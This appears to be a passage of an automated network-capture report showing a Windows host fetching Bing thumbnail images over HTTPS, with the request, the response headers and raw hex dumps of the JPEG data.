2024-11-25 04:46:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 30 3a 31 37 20 31 32 3a 34 31 3a 31 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1 r2i``Adobe Photoshop 25.12 (Windows)2024:10:17 12:41:148C
2024-11-25 04:46:20 UTC	16384	IN	Data Raw: 54 27 62 93 b1 43 58 d3 2d 2f d5 45 cc 5e 66 df ba b5 9e fa 25 a2 59 c9 6f 6f 68 ab bb fe 05 5b be 62 77 6a 54 20 f3 f2 d5 a9 c9 20 b2 ea 8e 0a ff 00 c3 17 02 6f f4 75 e3 f8 bf d9 a9 b4 ef 0f 5f a5 d7 95 3c 52 34 5f f3 d2 3a ee 7a 53 1e 40 b5 a7 d6 6a 35 62 15 38 a7 a2 2a d9 e9 96 70 c2 a3 c8 56 3b 7e 66 6a b3 1d bc 09 fe ae 25 5f f7 69 9f 6a 43 c6 d6 a8 ae 1e 7f bf 17 4f ee d6 3a b3 44 99 6f 81 49 96 35 49 6f a5 55 f9 e2 e6 a2 6d 4a 5d df 77 68 a3 95 8a c6 9a 67 6f 34 b5 9c da 89 55 cf de aa 93 6a 73 b3 63 72 ad 1c ac 76 37 29 ae c0 71 59 d6 77 92 95 f9 db 75 68 47 86 e4 d1 6b 05 ad a8 c5 c3 37 df a9 23 a5 c0 a5 a4 dd c4 dd c3 2b 45 23 28 34 c7 1b 7e ed 20 4a e4 95 05 c3 4e 3f d5 ad 3d 58 d3 95 b3 4c 76 69 99 ed 79 76 9d 62 dd 44 77 f3 16 c3 ae da bd 2c Data Ascii: T'bCX-/E^f%Yooh[bwjT ou_<R4_:zS@j5b8*pV;~fj%_ijCO:DoI5IoUmJ]whgo4Ujscrv7)qYwuhGk7#+E#(4~ JN?=XLviyvbDw,
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: b5 00 52 b9 fb 62 ee d9 16 ef f8 15 50 fb 4d e4 7c 98 19 ab 76 35 88 b7 1f 35 54 d4 2c 64 7d c6 de 76 5d df c3 57 19 22 24 99 87 a8 5e dc 4b f2 18 99 45 52 78 dd eb 67 fb 27 50 7e 4f ca 3f da 6a a7 75 14 f6 f2 34 6e bf 32 d6 d1 92 d9 19 b8 df 73 32 4b 62 ab ba ab 4c 80 56 9b 12 fd 6a b4 d0 83 5a 29 19 c9 58 cf 61 42 f1 52 cd 09 5f 9a a1 20 8e b5 aa 90 89 63 60 2a c2 30 35 4d 18 86 ab 08 e2 86 80 b6 83 35 62 dd 33 fc 35 5e d5 f7 2d 58 48 dc b7 15 93 1a 2f da d9 f9 8d 82 df f7 cd 69 c5 a3 c4 eb 81 d7 fd aa cc b1 b8 78 19 49 5d db 6b 52 df 58 51 ff 00 2c 19 45 65 2e 6b 9a a4 89 ad b4 28 c7 5d ad fe f5 5d 8f 49 0a bf 22 c4 bf ee ad 16 77 9e 77 4a be 84 ed fb d5 93 6c d1 24 55 93 49 89 a3 c4 8a bf 37 f7 6a 07 f0 e5 93 36 fd cd 5a 4d 25 0a fd a9 73 49 75 0e 54 Data Ascii: RbPM\|v55T,d}v]W"$^KERxg'P~O?ju4n2s2KbLVjZ)XaBR_ c`*05M5b35^-XH/ixI]kRXQ,Ee.k(]]I"wwJl$UI7j6ZM%sIuT
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 6d a6 78 73 c2 b6 ff 00 d9 96 57 8d 6d 73 f6 43 26 a9 ac c7 87 6b 34 3c 05 52 72 11 dd b8 00 0c e3 27 d2 bc 13 c7 de 32 f0 46 8d 63 3e 9f e1 f8 2e 6e a3 d3 6e 47 9f a8 5d dc 8d d7 81 fe 66 ca 28 e1 55 71 ce 39 cf 39 af 3a 9d 39 4d e8 8e a9 d4 8c 77 3a bf 86 b0 e8 da b5 c6 a7 7b e2 4b 68 e4 b0 d2 a0 57 8d 6f 64 28 92 26 0b 2a ab 39 03 19 20 e4 03 cd 70 7f b4 3e a7 a4 69 1e 1f b3 d1 ef 6e 64 9f c4 5f 64 1e 62 ab 06 86 de 23 21 65 5e 3a b9 42 b9 f4 fc 4d 51 fe d5 f1 26 b1 e3 0d 3e cf c3 f1 35 d6 a9 78 d1 dd 2d a4 db 1a 3b 5b 64 19 52 e1 fe 45 55 5c 12 5b 8c e3 e9 5c af 89 2c 6f 3c 4f f1 0a fa ea ee 76 d4 ee a4 95 93 cc 89 7c c4 92 45 eb 82 b9 0c 09 cf 3d 3e b5 db 87 a2 9c d3 91 cd 5a ab e5 b2 30 fe 1f e8 16 de 2e f1 16 2e 5d ac ed 20 8c c9 77 24 50 3d cc d2 Data Ascii: mxsWmsC&k4<Rr'2Fc>.nnG]f(Uq99:9Mw:{KhWod(&*9 p>ind_db#!e^:BMQ&>5x-;[dREU\[\,o<Ov\|E=>Z0..] w$P=
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 7f 0f 46 ff 00 eb 50 17 24 5c 08 f3 26 e5 3f fa 15 3e 49 47 97 b1 17 e6 6f bc cd 55 ed fc db ab a5 4b 45 6d ab fc 4d 52 bc 3b 57 0e cc cc df ca 81 89 0a 6e b8 f3 06 d5 0b ff 00 8f 55 98 e6 48 61 96 03 14 6c 24 5c 2b 32 ee db df 8f 4a 63 02 36 a0 f9 42 fd da 17 12 5b ac 83 e5 3f c5 40 14 e3 24 b6 f3 d5 9b ef 52 32 00 df 2f ef 02 ff 00 76 9c 8a 22 8e 40 55 b1 ff 00 8f 7d 69 2c 62 dd f3 bb 70 bf dd aa 24 b7 62 9b 59 4b ab 29 6e 15 57 df bd 5f b8 94 ed f2 f7 7d de 1a aa 5b be 3f 7b b7 6b 74 dd 51 99 5c 49 8f 37 6f fc 06 a4 a3 4a da 07 55 f9 f6 a8 6f bb bb f8 aa 6b 19 7c 86 96 07 55 65 93 ee b3 2f f2 35 4e 32 eb f3 fd e1 48 f2 93 b9 d3 e6 0b fc 34 01 7e e2 e2 de 1f 95 1b cc 95 b9 6d bf ca a0 91 a7 96 48 de 5f 94 6d f9 55 6a 3b 5b b0 8b b1 d7 ef 37 cb fd ea 53 Data Ascii: FP$\&?>IGoUKEmMR;WnUHal$\+2Jc6B[?@$R2/v"@U}i,bp$bYK)nW_}[?{ktQ\I7oJUok\|Ue/5N2H4~mH_mUj;[7S
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: aa 78 5e 48 e4 17 d6 3f 6e 89 40 b9 8b cc dc b1 a3 72 54 ff 00 79 b6 f3 81 55 6c 24 8a 2d 43 fb 42 6b 38 d9 96 03 1c ed 1c 7f 34 88 e3 d7 bf 71 53 2f 66 af 51 ea 52 e7 d2 1b 1e 83 e1 bf 89 7a 56 bd 7d 0d ae ab e1 c9 e2 68 ac 85 d5 ca fd 98 32 db a1 38 45 67 24 12 cd d7 38 02 b1 3c 45 af e8 72 5d 35 ce 91 6c d1 88 d9 5d 6d ae 72 15 86 70 cb cb 63 df ad 71 1e 3a b8 d2 2e 66 ba 9e ee 08 e2 6d 49 54 dc b4 6c 57 cc 0a 98 f5 ec a3 b5 71 9f 14 af a4 b6 f0 6d e4 10 4b bb cd b4 48 d5 15 4a f9 61 ce 46 0f 4f ba b8 ae 3a 75 5f 3a 54 f4 b9 d1 28 ae 5b cb a1 d3 f8 8b 55 d4 7e d1 73 24 be 64 90 b4 6d 1c 71 2b 05 8d 4b 75 6f 97 f8 46 36 8e e4 b5 79 f7 c4 0b 9b 76 f0 bf da f4 85 82 ce ea d9 8d d3 32 b6 5e 17 ce d2 8b d8 1e b9 ab 1a 2d a5 e5 87 c3 b5 d3 db ed 32 ce d1 e3 Data Ascii: x^H?n@rTyUl$-CBk84qS/fQRzV}h28Eg$8<Er]5l]mrpcq:.fmITlWqmKHJaFO:u_:T([U~s$dmq+KuoF6yv2^-2
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: cb 01 fd 4f 5c 56 a6 b1 73 6f a2 f9 98 dc da 84 96 98 f3 e4 6f 9b 61 e9 c7 6c b7 a7 5f ce b8 5b 8b 99 c7 8b 3e d1 77 14 ad 34 fe 5f 97 1b 37 cd 92 06 07 b5 75 d1 4e a6 bd 0c 6a 35 1f 53 a4 8e d4 58 f8 92 5b 08 9a 4b 9b 8b c8 95 e5 93 f8 94 ff 00 74 63 db f2 15 b7 e1 9b 3f 33 5a 9f 47 8b 6a c3 6d e5 cd 73 72 bf 2a 31 07 22 30 47 f0 82 72 71 d7 f2 ac d9 a3 96 4b e5 10 b2 fd aa 7c 8f 33 bb 70 01 27 3d 14 63 68 1d eb b1 55 82 c6 1b 1d 30 2f d9 55 7e 79 37 7c a6 4e 09 54 1d 07 23 9a e7 ad 51 a8 a3 4a 71 57 2d 5a de 4b 1b 49 13 c1 04 91 79 81 ad 20 55 f9 d9 c7 fc b4 7e c3 a8 e3 b7 35 85 aa 69 57 ba b6 ad 16 97 6d 2c 91 b3 4a 0c f3 6e ff 00 59 c7 27 38 ea 08 ad ad 22 37 1e 62 3c 1b ae 24 7f ba cd b4 f3 c8 1f 80 35 43 c5 9a 8d a6 83 e4 5d 4a ac bf bd f2 d9 d9 bb Data Ascii: O\Vsooal_[>w4_7uNj5SX[Ktc?3ZGjmsr*1"0GrqK\|3p'=chU0/U~y7\|NT#QJqW-ZKIy U~5iWm,JnY'8"7b<$5C]J
2024-11-25 04:46:21 UTC	16067	IN	Data Raw: 65 c9 3f 79 bf 78 4e 07 43 8f e1 15 89 a8 f8 ae fe df c4 97 da a5 a5 e4 f6 ba a6 a6 cc 6f bc 8c a7 97 6e 63 01 94 37 62 ec 0f 03 ee 8a 86 1f 10 ff 00 68 46 d6 16 b6 7e 6c 4b 24 52 46 d7 72 3c 8c a9 e6 0d c0 93 f7 b3 b5 38 c0 e3 f3 a5 1a 4d 24 d6 c5 4a a2 6c eb 3c 33 69 73 e3 4b 1f 0c 78 43 4d b1 b2 b5 5b 66 ba 9d 26 92 3d cc ae e4 bf 99 2b 71 bd 40 18 c7 7d a3 9a e7 60 d0 2f ec 35 2f b3 5c 34 91 19 2f 45 ac 0d 77 1e d7 b8 45 39 76 8d 1b d7 04 f3 80 43 0e 79 ad 1f 08 f8 a2 59 75 25 b8 d3 ee ae e1 68 ed 24 82 d1 65 93 cc 5b 50 44 81 84 7c 8e 79 6c 03 90 aa 3f 88 e2 b5 3c 4d 79 fd b7 7d 6b 71 24 4c d7 8b 00 1e 6c 7f 34 8b 93 b8 33 93 d4 ff 00 4c 0e d5 8c aa 38 36 8d 23 15 2d 4e 62 c6 fa 2f 08 eb 92 58 5f ed 92 ee 5b 6f 32 36 f3 f1 1a e0 10 ca 72 3e 52 7a e7 Data Ascii: e?yxNConc7bhF~lK$RFr<8M$Jl<3isKxCM[f&=+q@}`/5/\4/EwE9vCyYu%h$e[PD\|yl?<My}kq$Ll43L86#-Nb/X_[o26r>Rz
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: cf 18 79 65 5f bb 6e 8a 37 00 3f da 35 a5 4b 42 9d 91 31 bc a6 50 d5 60 97 52 5b 6d ea cd 71 c1 58 d7 e6 66 e0 60 91 e8 06 3e a6 b7 24 d3 74 8f 0e 69 36 32 5e 5b 35 f5 e7 2f 3b c6 c5 53 79 1c 27 39 dd b6 a5 d0 ad e3 d3 34 76 d5 e4 fb d2 36 17 e6 0c eb 1a 9c 60 67 db de ba 9f 87 ff 00 0f fc 57 e3 29 2d 6f 3f b1 76 e8 b2 dc 9d 97 73 b6 d4 8d 07 52 17 39 7f 4c 8e 09 fc 6b 9e 55 6f a7 d9 46 8a 1e 5a 9a 7f 0e be 1c ea fe 34 be d3 06 a9 6b 77 06 83 2c 7f 68 92 45 8d 17 ce 20 64 2f 27 21 33 d3 8e 6b d4 3c 6d e1 ff 00 0d 78 13 4b 8a e3 4e d3 61 96 fa 56 22 29 2e db cc 5b 70 06 4b aa 37 1b b3 80 0e 38 af 49 d1 6d bf b3 b4 9b 6b 28 62 fd d5 ac 4b 1c 6c d8 dd 85 18 e7 15 e5 ff 00 17 7c 1f e3 1d 63 54 9f 50 8a da 3d 4a da 56 d8 90 45 20 57 8e 31 db 0d 8e 3e 86 b8 67 Data Ascii: ye_n7?5KB1P`R[mqXf`>$ti62^[5/;Sy'94v6`gW)-o?vsR9LkUoFZ4kw,hE d/'!3k<mxKNaV").[pK78Imk(bKl\|cTP=JVE W1>g
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 2b 6a 57 57 5a 6c ba 5a 3f fa 2c 72 f9 91 c7 b7 6a c6 7b 91 f5 ac c6 1f 36 c3 ff 00 ec d6 8f 88 2e 6c ae 66 5b bd 32 29 e0 66 5d d7 31 c8 d9 1b ff 00 d9 3e 95 9a ec 77 6e dd f7 ab e8 e9 db 97 6b 1e 74 f7 dc 91 1f 6f 05 79 a6 5c 10 76 9f fb e5 a8 7d fb 55 87 56 e5 69 1a 71 22 ec da bb d7 ff 00 1e ab bd cc c7 42 73 b4 fd d3 52 2b 63 a7 cd bb ef 2d 42 c3 e5 6f 2f fb bf f7 cd 36 12 4e d7 fb a6 9a 02 dc 32 09 7f 76 59 54 af dd 6f e8 68 99 1d 59 77 ff 00 17 2a cb 51 48 7f 8f ef 35 4d 6f 26 63 da fb 99 7f bb fe 14 5c 96 84 db fb ce 3e 6f f6 b7 56 f7 81 6f 60 b1 d7 92 39 e2 56 f3 db cb dc df c3 93 fe 35 89 34 68 8b c3 70 df 76 a5 d3 ee 84 77 49 39 8d 5b cb 6c ed 6a 52 5c d1 68 21 2e 59 26 6f eb 5a 3d ed e7 88 a7 fb 22 f9 b0 c8 c0 79 ed c2 b1 ee 7d c6 6b d2 b4 b9 Data Ascii: +jWWZlZ?,rj{6.lf[2)f]1>wnktoy\v}UViq"BsR+c-Bo/6N2vYTohYw*QH5Mo&c\>oVo`9V54hpvwI9[ljR\h!.Y&oZ="y}k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49726	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:20 UTC	375	OUT	GET /th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 835660 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 694D8C448C4C488ABEBCF42B2DEDE2E1 Ref B: EWR30EDGE0416 Ref C: 2024-11-25T04:46:20Z Date: Mon, 25 Nov 2024 04:46:20 GMT Connection: close
2024-11-25 04:46:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c 64 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 33 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``dExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:23:408
2024-11-25 04:46:20 UTC	16384	IN	Data Raw: fd f2 c9 27 cd ff 00 2c 69 d1 c7 3f 97 b9 53 e5 6f e3 aa 52 95 f7 38 6b 6a b5 64 72 47 e5 41 e5 af fa b6 fe 0a a2 b0 2a 49 be 34 dd b6 ad dd 45 2b c8 9f bc 8d da ab 63 3b be 7d ad 5b 43 53 86 a4 ba 14 e6 6d af ba 3f bd 51 b1 95 a4 ab d3 27 97 fd da af 70 aa 7e 65 ad 14 50 e1 3b 91 ac bf dd 4a 31 24 8f fe f5 3d 91 47 dd 7f 9a a5 b7 45 f3 37 48 ff 00 2d 1a 0d c9 21 ab 6c d6 bf bd 3f 35 41 71 27 99 f7 aa cd d6 d2 fb 43 ff 00 c0 aa ab 06 67 da b5 36 08 5d ea f7 22 64 6a 23 4c 7d ea b3 e5 7c 9c 54 a6 2d bf 7a 8d 8a 75 0a 6a 1b 75 5c b7 2c 29 70 b5 23 47 f2 ee a6 8c a5 52 e5 ab 39 3c df f7 aa d4 47 1f 76 b3 6d 65 f2 fe 5a d0 b7 7d d4 8e 2a b1 b3 f2 2d c6 8c d4 93 44 bf c5 4f 8d d7 7e d5 ff 00 81 54 db 73 d6 8d ce 27 26 99 4d 76 fd c5 4a 9e 35 53 f2 d0 d1 fc f4 Data Ascii: ',i?SoR8kjdrGAI4E+c;}[CSm?Q'p~eP;J1$=GE7H-!l?5Aq'Cg6]"dj#L}\|T-zuju\,)p#GR9<GvmeZ}-DO~Ts'&MvJ5S
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: c1 24 5f f3 f7 e4 c8 bf 6c 7f b9 9f 9f 9f 94 ee ae 4b c3 be 24 b1 d7 b5 5d 26 f2 4d 76 ea de 4f 9b ed 71 43 b5 9b 9d fb b6 f0 31 9f ba 77 67 e5 ad 3f b4 58 ea 3e 2a 5d 37 4b d7 92 5d 3f ec fe 57 92 ef 27 9f 32 ed d8 51 8a af de 46 e4 0f 4a d6 38 49 54 4e 37 e5 fc cf 62 9c e5 5a 16 93 1b aa 58 68 be 64 d6 77 9e 1e 82 5b 88 bf 7f 6f 35 a4 0b 3c f6 79 fb b1 e1 ff 00 8b ee f4 5c d7 25 e3 2f 08 bc 1a 83 6a ba c6 85 ac 45 75 3b ac 76 2f 7d 1b 5a ad 9a 8f bb e5 27 43 fe 73 5e 91 63 f6 6f 07 f8 ab fb 63 c2 ff 00 f0 91 c5 34 56 fb 5d f5 68 3c fb 37 90 af cb f3 a1 dc 9e d5 e7 9f 1a a4 f1 7c 57 56 fa 96 a1 ab 5d 4f ab 5e 6e 93 ec f7 73 ac ed 6a bf ec 7c d8 da 47 d2 bb 30 35 31 34 2b a8 c6 dc bd db 6f ee 5f ad ce 2a 98 58 c6 77 b1 e7 fe 28 f1 4d 9f 87 ee ae ed f4 fb Data Ascii: $_lK$]&MvOqC1wg?X>]7K]?W'2QFJ8ITN7bZXhdw[o5<y\%/jEu;v/}Z'Cs^coc4V]h<7\|WV]O^nsj\|G0514+o_Xw(M
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: c2 c5 1b 7b 7f a4 5c 3b 45 3b e5 bf da c8 e0 7f 74 54 77 5e 21 d7 2f ee ad e1 f0 ae 9b 1b 69 ff 00 6b 68 a5 86 ee e9 a5 fb 4a 86 f9 9e 2f 37 3b 91 4f f7 5b 23 d2 b6 ef b5 4f 0e 6a f6 3f 65 ff 00 89 ad be b5 14 cd 14 df 67 4f dd 4d 1f f7 70 f8 08 cb b7 b1 ae 9a b8 74 af 28 68 df 5e a6 d0 ad 39 db 99 68 50 9b c5 12 e8 9a 6a 5c 6a 17 fe 6c 76 bf 2a 5c 79 7f 71 8b 7d ef f6 c5 69 37 8a e3 d2 3c 54 8d a7 c1 23 42 d0 aa dc 5b c3 f3 2b b7 97 f3 4b bb 77 7d db f3 f4 ac df 1a 41 e1 cd 7b c3 30 d9 e9 be 65 d3 7d ad 7e dc f3 3b 79 bb 47 f0 c6 bf 77 6f cb cb 2f f0 d6 3c 97 1a 36 93 a9 4d 75 fd a5 6b fd 9b 15 a4 3b 2f ac 77 4f b3 7a f0 a3 23 e4 db b3 9a e4 a7 84 52 a7 7b 6a cc ea 62 39 aa 28 5f 44 77 eb e2 bb 3d 2f ed 7a b4 97 f2 34 cb 6f e5 42 9b 15 9b ea 71 c3 57 1f Data Ascii: {\;E;tTw^!/ikhJ/7;O[#Oj?egOMpt(h^9hPj\jlv*\yq}i7<T#B[+Kw}A{0e}~;yGwo/<6Muk;/wOz#R{jb9(_Dw=/z4oBqW
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: d4 f1 e4 f0 4f e3 14 d6 9a c6 d6 fe 15 99 96 6b 4d 8b b5 23 0b 80 0d 75 37 5a 47 82 6f 2e ad ef 26 82 35 fb 46 d5 89 13 e5 fd e1 ff 00 57 f2 8f bb 5c 4a bf b2 84 6a 49 b6 e4 bf a4 6d 28 ab b5 d1 1c 4a cf 73 6b 3f 9d 67 e6 5b c7 2a 2e c7 77 dc af f2 8f 97 d0 f5 e4 76 ad 7d 3f 50 b3 b7 d3 7e c2 b1 c0 cd 2b af da 13 63 79 5b 7a fc f5 9f e3 23 2e 9b a9 5c 47 e4 79 b0 da bc 8b 0f cf e6 f9 39 c2 02 bd b7 66 ad 78 46 ca f2 d6 7b 18 f5 0b 4b ab 8d 16 f2 66 89 37 ce b7 52 c2 c5 b6 3f cb c3 2f ad 6b 2c 3c 2b 43 9d 7a 82 aa e0 56 f1 06 8f e1 36 d0 ef af 23 d2 64 ba 6d eb 3d c2 23 b6 de 57 1b be 6f e1 03 ff 00 1e ac 8d 1f c1 fa 44 f3 ea 0b a6 ea 5f 60 fb 3d db 4f 35 c3 dd 47 6b 14 2a 57 6a 05 77 fb df f0 1e b5 df dc 78 93 4f b3 d5 6e e3 59 2c 62 b8 b7 45 8a 1f b4 47 Data Ascii: OkM#u7ZGo.&5FW\JjIm(Jsk?g[.wv}?P~+cy[z#.\Gy9fxF{Kf7R?/k,<+CzV6#dm=#WoD_`=O5GkWjwxOnY,bEG
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 75 1f 85 6e e5 15 4a 4a 4b 6f d0 d3 0f 5e a3 9b 8d f4 46 fd 8e 9f a3 5b dd 5c 79 9a 2f db fe 75 59 b6 22 ed 75 ec bf 7b 3f 85 4b 75 06 95 0d f5 c6 a1 71 77 6b a3 5a c5 fe 9d 71 6c 9b 9b ed 32 0e df 37 1c 74 0b eb 51 e8 fa ce a5 06 a9 fd 93 a4 f8 7b 43 d4 7e cf e6 45 6f 7d e7 b2 cf 37 4c 3c 9f c2 d8 eb da b2 35 8f 0f f8 f1 75 cd b7 5a 6e 9d 71 35 e7 ef f6 3c eb 2a a3 6e f9 47 5c 27 0d f8 d7 24 a2 e4 ec de e7 75 4a f4 55 ae 53 9b e2 2d a6 ad e2 3b b9 21 9e fa 2f 36 25 68 5f e5 5f 25 51 be 7f 97 ee b7 bd 77 3e 1b 95 6f 77 dc 2e a5 26 a8 ab 71 fb eb 7b 89 fe 59 94 2e ef 2f d7 7f 6e 78 f9 78 35 e1 ea d7 9f f0 94 26 9b 71 63 e4 2c 57 2a b7 d2 bd 92 fc f3 19 33 b3 76 7e 4c 7c d8 ad ff 00 0e c5 ae 5c f8 c2 d3 4f d0 63 d5 6f d5 62 f9 e5 74 f2 9b ef 79 92 21 d9 90 Data Ascii: unJJKo^F[\y/uY"u{?KuqwkZql27tQ{C~Eo}7L<5uZnq5<nG\'$uJUS-;!/6%h__%Qw>ow.&q{Y./nxx5&qc,W3v~L\|\Ocobty!
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: a2 df dd 69 b1 dc 43 b6 de 17 83 cd df 1c 6c 33 b7 76 07 bf f7 ab bd 61 60 e0 9b 96 9e a2 72 b7 bd 73 27 c4 c7 c4 be 28 92 6d 3f 47 d3 75 2f b5 7f aa 87 c9 db 13 24 83 38 f3 a4 cf c9 bc 71 b1 7f 13 5d 57 8c 3c 35 63 75 e0 38 61 bc 83 fe 26 9a 4b ab 5d df 4d 74 b1 6f 8c 28 f3 36 aa f4 cb f4 f5 15 c8 f8 cb 5b d7 2e a7 d2 61 87 56 8e ea f1 51 65 b8 b7 44 dd fb ce 4f fa b1 f7 f0 bb 78 cd 5a f0 df 8d f5 3b 3b 19 ac fc 69 e7 dd 5a dc 5c 2f fa 3d ba 2c 4b b7 b7 98 c9 bb 72 83 db b5 75 d1 aa a1 4e 2e 0b 4f c4 c6 53 4f 5d cd 3d 43 e1 dd e6 93 a5 4d 6a b1 dd 6a 56 7b 37 25 be 97 02 ed 4d 8d f3 33 ab b0 27 7a e7 eb 5c 5a f8 56 c7 54 9d 1a 1f 0d d8 b2 ad c2 db 5a 5b ea 36 ac cd 34 85 77 fe e9 15 48 5c 77 cd 7a 0d c6 bf 16 a5 75 a8 47 ae 78 b2 3b 8b 86 b7 56 4b 8f 23 Data Ascii: iCl3va`rs'(m?Gu/$8q]W<5cu8a&K]Mto(6[.aVQeDOxZ;;iZ\/=,KruN.OSO]=CMjjV{7%M3'z\ZVTZ[64wH\wzuGx;VK#
2024-11-25 04:46:21 UTC	16067	IN	Data Raw: ff 00 ba ed df 8a ca 78 9a 69 39 4a 1a 1b 73 54 b6 fa 94 3e 0f e8 6b 71 6f 71 33 7d bb ed 92 ee 89 21 87 e5 57 52 a3 a9 35 93 e2 4d 03 c6 ba 5d ad c6 a9 67 a1 7d 82 16 9b 6d 8d bf 96 db b7 37 a7 f7 7d 79 af 78 f0 ed 9a b4 1b ad 60 8f 6b 7c a9 b1 36 b2 29 ff 00 0a a7 e2 ef 0f 6a 16 1e 19 be bc 8e ff 00 ed 97 0d b7 c9 b4 d8 cd bd 8f 19 5e 6b e6 aa e3 63 ed b6 56 7d 19 eb 61 79 9c 52 b9 e2 bf d9 ba 7d e7 82 d2 f2 f2 7f ec bd 72 7b 85 8e f9 2d d3 6b 23 15 db 9d a7 85 5f 5c 57 61 f1 f3 4d f1 77 89 ec b4 cd 07 58 d3 1f 56 ba 5b 48 56 de 5d 26 c6 35 96 e6 3d bf 24 8f c0 f9 b7 71 fe ed 75 d6 7a 3c be 14 f0 ed c7 99 a4 c1 aa 78 c2 2d d3 d8 ff 00 67 5a ac fb 30 b8 f9 8b ff 00 10 af 2b d7 3c 43 f1 47 c1 fa f2 7d aa 0b a5 fe d6 89 99 fe 4d d1 ed 3d 9f 67 a7 a7 6a e5 Data Ascii: xi9JsT>kqoq3}!WR5M]g}m7}yx`k\|6)j^kcV}ayR}r{-k#_\WaMwXV[HV]&5=$quz<x-gZ0+<CG}M=gj
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 79 d7 56 49 77 19 42 85 5f f8 73 fc 43 dc 76 ab 1a 06 93 71 af 6a ed 1d b2 3a 42 9f 34 d2 ec dc b6 f1 ff 00 79 ea 55 a1 e8 67 a5 3b ff 00 2a 31 6a c5 cf 98 15 63 7d d9 5f e1 35 b9 e1 d7 f0 fd 8f c4 0b 57 d4 a0 92 fb 47 82 e3 f7 a9 17 de 99 05 47 f1 22 7d 3e e3 c6 17 b2 69 71 c8 96 ad 2e 51 1f ef 2f b5 1c fe fa 56 05 52 f5 14 6d a5 ae 57 d6 b5 75 be d1 b4 db 15 b2 8a 1f ec f8 99 4c ab f7 a5 cb 67 2d 59 4a 71 c8 eb 4c a2 aa 31 51 56 46 91 8a 8a b2 3a ed 3f 50 f0 e6 ab e3 1b 5b 8f 11 25 cd a6 99 1d be d9 cd a2 2b 48 ee b1 f6 cf 1f 33 55 8d 57 4c f0 d5 cf 80 e0 d5 ac ae 05 8d e2 ca e8 6d e6 66 66 b8 c6 09 e9 d3 15 c4 d2 ee f9 76 d6 72 a3 76 9c 64 d5 8c 7e ae 93 8f 2b 6a c2 51 45 15 b1 d0 14 51 45 00 14 51 45 00 14 51 45 00 7d a5 0e b1 7d 2c 96 8b a3 da 58 ad Data Ascii: 